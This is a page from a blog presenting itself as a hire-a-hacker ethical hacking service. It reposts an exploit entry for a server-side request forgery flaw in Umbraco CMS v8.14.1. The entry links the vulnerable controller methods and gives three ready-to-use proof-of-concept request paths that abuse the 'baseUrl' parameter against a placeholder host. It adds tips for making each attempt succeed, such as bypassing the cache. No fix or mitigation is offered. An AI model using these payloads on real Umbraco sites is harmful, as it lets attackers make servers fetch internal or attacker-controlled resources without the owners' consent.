Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863107519

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Umbraco v8.14.1 - 'baseUrl' SSRF
# Date: July 5, 2021
# Exploit Author: NgoAnhDuc
# Vendor Homepage: https://our.umbraco.com/
# Software Link: https://our.umbraco.com/download/releases/8141
# Version: v8.14.1
# Affect: Umbraco CMS v8.14.1, Umbraco Cloud

Vulnerable code:

Umbraco.Web.Editors.HelpController.GetContextHelpForPage():
https://github.com/umbraco/Umbraco-CMS/blob/710ecf2537a8630d00db793877d5c169c5cf8095/src/Umbraco.Web/Editors/HelpController.cs#L14
Umbraco.Web.Editors.DashboardController.GetRemoteDashboardContent():
https://github.com/umbraco/Umbraco-CMS/blob/710ecf2537a8630d00db793877d5c169c5cf8095/src/Umbraco.Web/Editors/DashboardController.cs#L50
Umbraco.Web.Editors.DashboardController.GetRemoteDashboardCss():
https://github.com/umbraco/Umbraco-CMS/blob/710ecf2537a8630d00db793877d5c169c5cf8095/src/Umbraco.Web/Editors/DashboardController.cs#L91

PoC:

/umbraco/BackOffice/Api/Help/GetContextHelpForPage?section=content&tree=undefined&baseUrl=https://SSRF-HOST.EXAMPLE
/umbraco/backoffice/UmbracoApi/Dashboard/GetRemoteDashboardContent?section=TryToAvoidGetCacheItem111&baseUrl=
https://SSRF-HOST.EXAMPLE/
/umbraco/backoffice/UmbracoApi/Dashboard/GetRemoteDashboardCss?section=AvoidGetCacheItem&baseUrl=https://SSRF-HOST.EXAMPLE/

Notes:
- There's no "/" suffix in payload 1
- "/" suffix is required in payload 2 and payload 3
- "section" parameter value must be changed each exploit attempt